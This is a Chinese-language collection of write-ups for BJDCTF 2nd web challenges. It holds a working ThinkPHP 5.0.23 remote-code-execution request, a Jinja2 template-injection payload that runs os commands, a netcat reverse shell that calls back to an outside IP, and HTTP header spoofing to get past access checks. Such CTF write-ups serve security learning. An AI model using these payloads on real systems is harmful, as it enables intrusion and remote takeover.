[BJDCTF 2nd]old-hack

通过报错可以看出来是thinkphp版本是的5.0.23:

其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,

导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞:

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

成功执行id命令。根目录下有flag。

[BJDCTF 2nd]假猪套天下第一

如果用户名是admin,会弹出警告拒绝qwq。随便填写一个用户名和密码抓包,在源代码会提示L0g1n.php

访问L0g1n.php抓包,提示:Sorry, this site will be available after totally 99 years!

这时发现Cookie里有一个时间戳,把它改大:

修改后提示:Sorry, this site is only optimized for those who comes from localhost

修改XFF为127.0.0.1后提示:Do u think that I dont know X-Forwarded-For?Too young too simple sometimes naive

OK那就换Client-ip: 127.0.0.1成功绕过。

提示:Sorry, this site is only optimized for those who come from gem-love.com

修改Referer:Referer:gem-love.com

修改后提示:Sorry, this site is only optimized for browsers that run on Commodo 64

修改UA:User-Agent: Commodore 64

修改后提示:Sorry, this site is only optimized for those whose email is root@gem-love.com

From:root@gem-love.com

修改后提示:Sorry, this site is only optimized for those who use the http proxy of y1ng.vip if you dont have the proxy, pls contact us to buy, ¥100/Month

HTTP 协议有一个通用头域,叫via,它列出从客户端到 OCS 或者相反方向的响应经过了哪些代理服务器,所以这里修改为:Via:y1ng.vip

修改后得到一串base64,解码即可。

[BJDCTF 2nd]fake google

随便输入一串东西,在源代码里看到提示:

<!--ssssssti & a little trick -->

一把梭:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")}}{% endif %}{% endfor %}

[BJDCTF 2nd]duangShell

访问.index.php.swp可以下载备份文件,vim -r 恢复内容如下:

过滤了一系列命令和符号,最后用exec执行命令,但是exec是没有回显的,尝试反弹shell,监听8043端口:

nc -lvp 8043

靶机上执行:

nc 174.1.144.162 8043 -e /bin/bash

干。

find /etc|xargs grep flag

[BJDCTF 2nd]elementmaster

需要遍历化学元素表。

import requests

url=r"http://122f5fc5-aeac-49e7-b2ed-b66701e60dbf.node3.buuoj.cn/"
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
for i in element:
    url2 = url+i+".php"
    r = requests.get(url2)
    if r.status_code == 200:
        print(r.text)

得到And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php,访问即可得到flag。

[BJDCTF 2nd]Schrödinger

访问test.php,发现是提示爆破登陆密码的网页,它和index.php中的描述的功能适用,尝试输入127.0.0.1/test.php,点击input后再点击check:

选中的地方base64解码后发现是时间戳,如果置空会弹出av号:

评论区找到flag: